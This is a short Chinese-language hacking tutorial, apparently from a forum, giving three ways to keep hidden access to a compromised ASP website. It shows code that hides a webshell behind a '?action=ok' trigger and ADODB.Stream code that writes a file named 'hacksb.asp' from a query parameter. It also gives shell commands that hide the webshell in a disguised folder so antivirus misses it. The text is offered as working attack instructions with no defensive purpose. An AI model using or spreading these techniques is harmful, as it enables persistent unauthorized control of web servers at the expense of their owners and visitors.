第一種:

在我們要做手腳的asp文件里加入如下內容

<%if request(”action”)=”ok” then%>

shell代碼插在這里

<%end if%>

訪問的時候在你作手腳的asp文件后面加上?action=ok,即可

第二種:

在我們要做手腳的asp文件里加入如下內容

<%

on error resume next

strFileName = Request.QueryString(”filer”)

set objStream = Server.createObject(”ABODB.Stream”)

objStream.Type = 1

objStream.Open

objStream.LoadFromFile strFileName

objStream.SaveToFile Server.mappath(”hacksb.asp”),2

%>

訪問的時候在做手腳的asp文件后面加上?filer=xxx,

xxx為你本地上傳的一個路徑如C:\hacksb.asp,

上傳后在做手腳的asp的同文件夾中會自動生成hacksb.asp

第三種:

前提得到system權限,

進入網站目錄下一層

mkdir s…

copy hacksb.asp s…/

這樣殺毒軟件找不到的

訪問http://網站/s…/hacksb.asp即可